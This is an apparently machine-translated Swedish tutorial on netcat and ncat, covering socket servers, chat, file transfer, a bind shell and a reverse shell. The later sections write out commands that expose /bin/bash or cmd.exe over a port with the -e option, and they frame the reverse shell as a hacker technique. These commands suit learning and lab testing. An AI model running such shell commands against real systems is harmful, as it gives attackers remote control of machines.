Netcat
Netcat är en terminal program som liknar telnet programmet men har mycket fler funktioner.
det är en ”power version” av det traditionella telnet-programmet.
förutom grundläggande telnet-funktioner kan det göra olika andra saker som att skapa socket-servrar för att lyssna på inkommande anslutningar på portar, överföra filer från terminalen etc.
så det är ett litet verktyg som är packad med massor av funktioner., Därför kallas ”Schweizisk armékniv för TCP/IP”.
netcat-manualen definierar netcat som
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.
så i princip är netcat ett verktyg för att göra någon dubbelriktad nätverkskommunikation via TCP / UDP-protokollen.
mer tekniskt sett kan netcat fungera som en socket server eller klient och interagera med andra program samtidigt skicka och ta emot data via nätverket.
en sådan definition låter för generisk och gör det svårt att förstå vad exakt det här verktyget gör och vad är det användbart för., Detta kan förstås endast genom att använda och leka med det.
NCAT
så det första du bör göra är att ställa in netcat på din maskin. Netcat kommer i olika smaker. Innebär att den är tillgänglig från flera leverantörer.
men de flesta har liknande funktionalitet. På Ubuntu finns 3 paket som heter netcat-openbsd, netcat-traditional och NCAT.
min föredragna version är NCAT. Ncat har utvecklats av Nmap laget är det bästa av alla netcats tillgängliga och viktigast dess plattformsoberoende och fungerar mycket bra på windows.,
Projektwebbplats:
installera NCAT på Windows
Windows-versionen av netcat kan laddas ner från
hämta och extrahera filerna någonstans lämpliga.
eller hämta NCAT Windows version
installera NCAT på Ubuntu / Linux Mint/Linux
Ubuntu syntaptic package har netcat-openbsd och netcat-traditionella paket tillgängliga. Installera dem båda. Nmap finns även en netcat genomförandet kallas ncat. Installera det också.,
Installera på Ubuntu
$ sudo apt-get install netcat-traditional netcat-openbsd nmap
för att använda netcat-openbsd-implementering använd kommandot ”NC”.
för att använda netcat-traditionell implementering använd nc.traditionellt ” kommando
för att använda Nmap NCAT använd kommandot ”NCAT”.
netcat Command Examples
i följande handledning kommer vi att använda dem alla i olika exempel på olika sätt.
Telnet
det allra första netcat kan användas som ett telnet-program. Låt oss se hur.
$ nc -v google.com 80
nu är netcat ansluten till google.com på port 80 och det är dags att skicka ett meddelande., Låt oss försöka hämta indexsidan. För denna typ ”få index.html HTTP/ 1.1 ” och tryck på Enter-tangenten två gånger. Kom ihåg två gånger.
utgången från google.com har mottagits och echoed på terminalen.
enkel socket server
för att öppna en enkel socket server typ i följande kommando.
$ nc -l -v 1234
ovanstående kommando betyder : Netcat lyssna på TCP-port 1234. -V-alternativet ger utförlig utgång för bättre förståelse., Nu från en annan terminal för att försöka att ansluta till port 1234 med hjälp av telnet-kommandot enligt följande :
$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong
När du har anslutit vi skicka några test-meddelande som abc och ting tong till netcat socket server. Netcat socket-servern kommer att echo de data som tas emot från telnet-klienten.
$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong
detta är ett komplett chattsystem. Skriv något i netcat terminal och det kommer att dyka upp i telnet terminal också. Så denna teknik kan användas för att chatta mellan 2 maskiner.,
komplett ECHO Server
NCAT med alternativet-C kan användas för att starta en echo-server. Källa
Starta echo-servern med NCAT enligt följande
$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'
nu från en annan terminal Anslut med telnet och skriv något. Det kommer att skickas tillbaka med ”” prefixed.
netcat-openbsd-versionen har inte alternativet-c. Kom ihåg att alltid använda-v-alternativet för utförlig utmatning.
Obs : Netcat kan få veta att spara data till en fil istället för att ECHA den till terminalen.,
$ nc -l -v 1234 > data.txt
skapa UDP-Server
Netcat fungerar även med udp-portar. För att starta en netcat-server med udp-portar, använd alternativet-u
$ nc -v -ul 7000
UDP-klient
Anslut till den här servern med netcat från en annan terminal
$ nc localhost -u 7000
Nu kan båda terminalerna chatta med varandra.
filöverföring
en hel fil kan överföras med netcat. Här är ett snabbt exempel.
en maskin A – Skicka fil
$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555
i ovanstående kommando läser cat-kommandot och matar ut innehållet i happy.txt., Utgången är inte echoed till terminalen, istället leds eller matas till ncat som har öppnat en socket server på port 5555.
på maskin B-ta emot fil
$ ncat localhost 5555 > happy_copy.txt
i ovanstående kommando NCAT kommer att ansluta till localhost på port 5555 och vad den tar emot kommer att skrivas till happy_copy.txt
nu happy_copy.txt blir en kopia av happy.txt eftersom data som skickas över port 5555 är innehållet i happy.txt i föregående kommando.
Netcat skickar filen endast till den första klienten som ansluter till den. Efter det är det över.,
och efter att den första klienten stänger anslutningen stänger netcat-servern också anslutningen.
Port scanning
Netcat kan också användas för port scanning. Detta är dock inte en korrekt användning av netcat och ett mer tillämpligt verktyg som nmap bör användas.
parametern ”-n” här förhindrar DNS-sökning, ” – z ”gör att nc inte tar emot några data från servern och”- w 1 ” gör anslutningen timeout efter 1 sekund av inaktivitet.
Remote Shell/Backdoor
Ncat kan användas för att starta ett grundläggande skal på ett fjärrsystem på en port utan behov av ssh., Här är ett snabbt exempel.
$ ncat -v -l -p 7777 -e /bin/bash
ovanstående startar en server på port 7777 och skickar all inkommande inmatning till bash-kommandot och resultaten skickas tillbaka. Kommandot konverterar i princip bash-programmet till en server. Så netcat kan användas för att konvertera alla processer till en server.
Anslut till detta bash-skal med hjälp av nc från en annan terminal
$ nc localhost 7777
försök nu köra något kommando som hjälp , ls , pwd etc.
Windows
på Windows-maskinen cmd.,exe (dos prompt program) används för att starta ett liknande skal med netcat. Kommandots syntax är densamma.
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182
Nu kan en annan konsol ansluta med telnet-kommandot
även om netcat kan användas för att ställa in fjärrskal, är det inte användbart att få ett interaktivt skal på ett fjärrsystem eftersom netcat i de flesta fall inte skulle installeras på ett fjärrsystem.
den mest effektiva metoden för att få ett skal på en fjärrmaskin med netcat är genom att skapa omvända skal.,
Reverse Shells
detta är den mest kraftfulla funktionen i netcat som den används mest av hackare. Netcat används i nästan alla omvänd skaltekniker för att fånga omvänd anslutning av skalprogram från ett hackat system.
Reverse telnet
låt oss först ta ett exempel på en enkel omvänd telnet-anslutning. I ordinate telnet-anslutning klienten ansluter till servern för att starta en kommunikationskanal.
Your system runs (# telnet server port_number) =============> Server
nu använder ovanstående teknik kan du ansluta till säga port 80 på servern för att hämta en webbsida., Men en hacker är intresserad av att få ett kommandoskal. Det är kommandotolken för windows eller linux-terminalen. Kommandoskalet ger ultimat kontroll över fjärrsystemet. Nu finns det ingen tjänst som körs på fjärrservern som du kan ansluta till och få ett kommandoskal till.
så när en hacker hackar in i ett system måste han få ett kommandoskal. Eftersom det inte är möjligt direkt är lösningen att använda ett omvänd skal. I ett omvänd skal initierar servern en anslutning till hackarens maskin och ger ett kommandoskal.,
Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine
för att vänta på inkommande anslutningar måste en lokal lyssnare öppnas. Netcat / ncat kan göra detta.
först måste en netcat-server startas på den lokala maskinen eller hackarens maskin.
Maskin A
$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888
ovanstående startar en uttagsserver (lyssnare) på port 8888 på den lokala maskinen/hackarens maskin.
nu måste ett omvänd skal lanseras på målmaskinen / hackad maskin. Det finns ett antal sätt att starta omvänd skal.,
för att någon metod ska fungera måste hackaren antingen kunna exekvera godtyckligt kommando på systemet eller kunna ladda upp en fil som kan utföras genom att öppna från webbläsaren (som ett php-skript).
i det här exemplet gör vi inte något av de ovan nämnda sakerna. Vi ska bara köra netcat på servern också för att kasta ett omvänd kommandoskal för att visa konceptet. Så netcat ska installeras på servern eller målmaskinen.,
maskin B:
$ ncat localhost 8888 -e /bin/bash
detta kommando kommer att ansluta till maskin A på port 8888 och mata in produktionen av bash effektivt ger ett skal till maskin A. nu maskin A kan utföra något kommando på maskin B.
Maskin a
i ett verkligt hacking / penetration test scenario är det inte möjligt att köra netcat på målmaskin. Därför används andra tekniker för att skapa ett skal. Dessa inkluderar ladda upp omvänd shell php-skript och köra dem genom att öppna dem i webbläsaren. Eller starta ett buffertspill utnyttja för att utföra omvänd skal nyttolast.,
slutsats
så i ovanstående exempel såg vi hur man använder netcat för olika nätverksaktiviteter som telnet, reverse shells etc. Hackare använder det mest för att skapa snabba omvända skal.
i denna handledning täckte vi några av de grundläggande och vanliga användningarna av netcat. Kolla in wikipedia-artikeln för mer information om vad netcat kan göra.